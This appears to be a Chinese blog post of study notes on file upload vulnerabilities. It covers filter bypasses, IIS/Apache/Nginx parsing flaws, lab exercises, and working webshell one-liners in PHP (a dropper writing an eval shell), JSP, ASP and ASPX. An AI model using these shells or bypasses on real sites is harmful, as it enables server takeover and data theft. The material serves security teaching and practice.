文件上传综述

综述

文件上传
初识
意义
危害
查找/判断方式
注意点
实际应用说明
验证/绕过
前端
JS类防护
后端
黑名单
特殊解析后缀
.htaccess解析
大小写绕过
点绕过
空格绕过
::$$DATA绕过
配合解析漏洞
双后缀名绕过
白名单
MIME绕过
%00截断:在url中%00表示ascii码的0,表示字符串结束。(php版本<5.3.4吧)
0x00截断
0x0a截断
内容及其他
文件头检测
二次渲染
条件竞争
突破getimagesize
突破exif_imagetype
漏洞/修复
解析漏洞
IIS6/7.X
Apache
Nginx
CMS漏洞
子主题 1
子主题 2
子主题 3
其他漏洞
编辑器漏洞
fackeditor
ewebeditor
ckeditor
kindedit

CVE漏洞
安全修复
WAF绕过
safadog
BT
XXX云盾

利用思路

常规类

​ 扫描获取上传

​ 会员中心上传

​ 后台系统上传

​ 各种途径上传

CMS类

​ CMS源码

编辑器类

​ ckeditor

​ ewebeditor
​ ckeditor
​ kindedit

其他/CVE

​ 平台审计

​ 第三方

1.基础与过滤方式

是什么:程序对文件的上传没有全面的限制,导致用户可以上传一些超越用户权限的一些文件,如木马,shell脚本,病毒等。

文件上传利用前提:1.能上传上去;2.文件能被解析;3.知道绝对路径且能访问

危害:获取到网站权限,进而获取数据。即通过该漏洞上传webshell后门。

查找/判断:1.目录扫描找到上传地址

​ 2.会员中心

​ 3.后台

​ 4.白盒:拿到源代码找漏洞

注意点:拿到漏洞,要对漏洞类型进行区分

实际应用说明:上传后门脚本获取网站权限

演示案例:

  • 常规文件上传地址的获取说明 :工具扫描
  • 不同格式下的文件类型后门测试:这个要结合自己的木马类型,如果是php,你连接地址为../1.jpg,显示是不符合的。(.htacess另说)
  • 配合解析漏洞下的文件类型后门测试本地文件:上传+解析漏洞
  • upload-labs
  • CMS/CVE上传漏洞复现

2.后端黑名单绕过

文件上传常见验证方式:

后缀名:黑名单(明确不让上传的格式后缀)、白名单(允许可上传的格式后缀,相对来说安全性高点)

文件类型:MIME信息(Content-type的值)

文件头:内容头信息,如gif的文件头是GIF89a

演示案例:

upload-labs:Pass 1-12

简要上传表单代码分析解释

$_FILES[表单中参数名][文件自带属性如(name/type/size)]

$_FILES[‘myfile’][‘name’]

$_FILES[‘myfile’][‘size’]

$_FILES[‘myfile’][‘type’]

<form …>
<input class=”input_file” type=”file” name=”myfile”/>

</form>

3.内容逻辑数组绕过

演示案例:

  • upload-labs:Pass 13-20
  • CVE-2017-12615-上传-Tomcat
  • 中间件解析漏洞+配合文件上传测试
    • IIS-上传-解析-(panfei806)
    • Apache-上传-解析-vulhub
    • Nginx-上传-解析-vulhub

中间件解析漏洞:

解析漏洞

Nginx

​ xxx.jpg%00.php(Nginx<8.03 空字节代码执行漏洞,前提关闭了fast-cgi)
​ fix_pathinfo
​ /1.jpg/1.php
​ /1.jpg%00.php //相当于上传的图片码,但可以通过这个操作去执行图片的php代码
​ /1.jpg/%20\0.php //文件名逻辑漏洞(让图片作为php文件解析)

IIS

​ IIS5.x-IIS6.x
​ /xx.asp/xx.jpg //将.asp目录下的文件解析成asp文件
​ xx.asp;jpg //服务器默认不解析分号后面的后缀,所以可以实现后缀绕过
​ test.asa test.cer test.cdx
​ IIS7.5

前提是fast-cgi开启:// 123.***/.php 加了后面的/.php访问的话,默认将123.***识别为php文件执行。

如果shell语句为:

<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

如果能上传一个图片马,记为test.jpg,访问test.jpg/**.php,当前目录下会生成一句话木马shell.php

​ a.aspx.a;a.aspx.jog.jpg

apache

​ test.php.php123 从右到左开始判断解析
​ AddHandler php5-script.php test2.php.jpg
​ AddType application/x-httpd-php .jpg 即使扩展名是jpg,一样能以php方式执行

windows特性绕过

黑名单,但是没有对后缀名进行去”.”处理,利用windows特性,会自动去掉后缀名中最后的”.”,可在后缀名中加”.”绕过。

大小写不区分,test.txt与Test.txt一样

以下均为同一个文件:

“test.asp”
“Test.asp”
“TEST.ASP”
“test.asp.”
“test.asp “
“TEST.asp …”
“test.asp:1.jpg..”
“Test.asp .. … “
“test.asp .. .�” (乱码字符是ascii值为 0xC8 的不可打印字符)
————————————————
版权声明:本文为CSDN博主「三体-二向箔」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_39157582/article/details/108282573

如调用系统函数建立“test.:jpg”文件,因为“:”截断,实质上会生成“test.”文件,又因为Windows系统会吃掉“.”,所以,右键删除,识别不了该文件。尝试删除掉,会文件异常。

一句话木马

jsp版

相关函数

  1. java.lang.Runtime.exec()
  2. java.lang.ProcessBuilder.start()

<% Runtime.getRuntime().exec(request.getParameter("i"));%>

类似于<?PHP eval($GET_['i']);?>

但是 jsp 一句话没有回显,无法看到返回的信息,通常用来反弹 shell

asp版

1
2
3
4
5
<%eval request("MH")%>
<%execute request("MH")%>
<%execute(request("MH"))%>
<%If Request("MH")<>"" Then Execute(Request("MH"))%>
<%eval(Request.Item["MH"],"unsafe");%>

aspx

1
<%@ Page Language="Jscript"%><%eval(Request.Item["chopper"],"unsafe");%>
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2023-2025 是羽泪云诶
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信